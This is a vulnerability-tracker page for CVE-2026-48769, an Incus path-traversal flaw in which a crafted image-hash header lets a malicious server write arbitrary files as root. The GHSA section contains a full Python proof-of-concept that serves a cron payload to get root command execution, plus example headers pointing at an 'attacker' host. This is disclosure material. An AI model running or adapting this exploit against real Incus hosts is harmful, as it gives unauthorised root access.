Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Incus has an arbitrary file write on its client due to trusted image hash

CVSS 3.1 9.9 CRITICALEUVD CVSS 3.1 9.9 CVSS 3.1 · [email protected] · Secondary 9.9 CRITICALCVSS_V3 Publisher rating CRITICALFixed by github.com/lxc/incus/v7/cmd/incusd 7.2.0osv · severity unknownFixed by github.com/lxc/incus/v7 7.2.0KEV status unknown

cve-program · CVE-2026-48769

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.

Read the publisher's advisory

euvd · EUVD-2026-63983

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.

Read the publisher's advisory

nvd · CVE-2026-48769

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.

Read the publisher's advisory

osv · GHSA-f6m5-xw2g-xc4x

Published

### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """ from __future__ import annotations import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any DEFAULT_SOCKET = "/var/lib/incus/unix.socket" DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce" class UnixHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path: str, timeout: int = 120): super().__init__("incus", timeout=timeout) self.socket_path = socket_path def connect(self) -> None: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect(self.socket_path) self.sock = sock class RCEHTTPServer(ThreadingHTTPServer): hash_path: str advertise_url: str payload: bytes hold_seconds: int payload_requested: threading.Event class DirectImageHandler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" server_version = "direct-image-rce/1.0" def log_message(self, fmt: str, *args: Any) -> None: print(f"[http] {self.address_string()} - {fmt % args}", flush=True) def do_HEAD(self) -> None: if self.path != "/stage": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) self.send_response(200) self.send_header("Incus-Image-Hash", srv.hash_path) self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload") self.send_header("Connection", "close") self.end_headers() def do_GET(self) -> None: if self.path != "/payload": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payload_requested.set() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(srv.payload) self.wfile.flush() print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True) time.sleep(srv.hold_seconds) self.close_connection = True def quote(value: str) -> str: return urllib.parse.quote(value, safe="") def tls_context(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl._create_unverified_context() else: ctx = ssl.create_default_context(cafile=args.cacert) if args.cert: ctx.load_cert_chain(args.cert, args.key) return ctx def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parsed.scheme != "https": raise ValueError("--url must use https") return http.client.HTTPSConnection( parsed.hostname, parsed.port or 8443, timeout=args.timeout, context=tls_context(args), ) return UnixHTTPConnection(args.socket, timeout=args.timeout) def request_json( args: argparse.Namespace, method: str, path: str, obj: dict[str, Any] | None, allow_error: bool = False, ) -> tuple[int, dict[str, Any]]: body = None if obj is None else json.dumps(obj).encode("utf-8") headers = {"Host": "incus"} if body is not None: headers["Content-Type"] = "application/json" conn = connection(args) conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() raw = resp.read() conn.close() try: data = json.loads(raw) if raw else {} except json.JSONDecodeError: data = {"raw": raw.decode("utf-8", "replace")} if not allow_error and (resp.status >= 400 or data.get("type") == "error"): raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}") return resp.status, data def images_path(project: str) -> str: return "/1.0/images?project=" + quote(project) def cron_payload(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8") def image_url_body(project_url: str, public: bool) -> dict[str, Any]: return { "source": { "type": "url", "url": project_url.rstrip("/") + "/stage", }, "public": public, } def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer: server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler) server.hash_path = args.hash_path server.advertise_url = args.advertise_url server.payload = payload server.hold_seconds = args.hold_seconds server.payload_requested = threading.Event() thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def main() -> int: parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC") parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket") parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443") parser.add_argument("--cert", help="client certificate for remote Incus") parser.add_argument("--key", help="client private key for remote Incus") parser.add_argument("--cacert", help="CA certificate for remote Incus") parser.add_argument("--insecure", action="store_true", help="disable TLS verification") parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout") parser.add_argument("--project", default="default", help="project used for image import") parser.add_argument("--public", action="store_true", help="mark imported image public") parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address") parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port") parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon") parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash") parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds") parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run") parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images") parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger") args = parser.parse_args() if bool(args.cert) != bool(args.key): parser.error("--cert and --key must be supplied together") if args.execute_trigger and not args.yes_i_understand_this_writes_host_file: parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file") payload = cron_payload(args.command) trigger_body = image_url_body(args.advertise_url, args.public) print("[*] exploit primitive: direct image URL unvalidated hash path host write") print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage") print(f"[*] returned Incus-Image-Hash: {args.hash_path}") print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload") print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce") print(f"[*] cron payload: {payload.decode().rstrip()}") print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}") if not args.execute_trigger: print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test") return 0 server = start_server(args, payload) print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}") status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True) print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}") if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)): print("[*] daemon requested payload; cron file should exist until the held response is released") else: print("[!] daemon did not request payload within the wait window") print("[*] leaving HTTP server active for the remaining hold window") time.sleep(max(0, args.hold_seconds - 30)) server.shutdown() server.server_close() return 0 if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1) ``` ### Impact An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.

Read the publisher's advisory

osv · GO-2026-5806

Published

Incus has an arbitrary file write on its client due to trusted image hash in github.com/lxc/incus

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Risk history

Compare earlier KEV listings and daily EPSS scores. Advisory wording and affected versions have a separate history.

When does an EPSS score appear as a change?

A prediction change is reported when EPSS rises from below 10% to 10% or higher. Other daily score changes remain in this history.

Advisory history

18 saved versions

See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.

How advisory history works

Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.

15 Nov 2026 14:08:34 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…

euvd · EUVD-2026-63983 · Published

13 Nov 2026 13:59:44 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…

euvd · EUVD-2026-63983 · Published

11 Nov 2026 13:02:45 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…

euvd · EUVD-2026-63983 · Published

9 Nov 2026 12:05:04 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…

euvd · EUVD-2026-63983 · Published

7 Nov 2026 11:30:36 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…

euvd · EUVD-2026-63983 · Published

6 Nov 2026 15:03:32 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…

nvd · CVE-2026-48769 · Published

6 Nov 2026 11:13:14 UTC

Incus has an arbitrary file write on its client due to trusted image hash

osv · GHSA-f6m5-xw2g-xc4x · Published

6 Nov 2026 01:36:41 UTC

Incus has an arbitrary file write on its client due to trusted image hash

cve-program · CVE-2026-48769 · Published

6 Nov 2026 00:38:11 UTC

Incus has an arbitrary file write on its client due to trusted image hash

osv · GHSA-f6m5-xw2g-xc4x · Published

5 Nov 2026 10:40:39 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…

euvd · EUVD-2026-63983 · Published

3 Nov 2026 09:59:58 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…

euvd · EUVD-2026-63983 · Published

1 Nov 2026 09:09:23 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…

euvd · EUVD-2026-63983 · Published

30 Oct 2026 08:51:40 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…

euvd · EUVD-2026-63983 · Published

28 Oct 2026 07:10:30 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…

euvd · EUVD-2026-63983 · Published

25 Oct 2026 12:17:32 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary comman…

nvd · CVE-2026-48769 · Published

24 Oct 2026 13:19:41 UTC

Incus has an arbitrary file write on its client due to trusted image hash

osv · GHSA-f6m5-xw2g-xc4x · Published

24 Oct 2026 13:19:41 UTC

Incus has an arbitrary file write on its client due to trusted image hash in github.com/lxc/incus

osv · GO-2026-5806 · Published

23 Oct 2026 15:48:27 UTC

Incus has an arbitrary file write on its client due to trusted image hash

cve-program · CVE-2026-48769 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 19:06 UTC · 254 of 275 readable · 250 fully read · documentation 468/469 current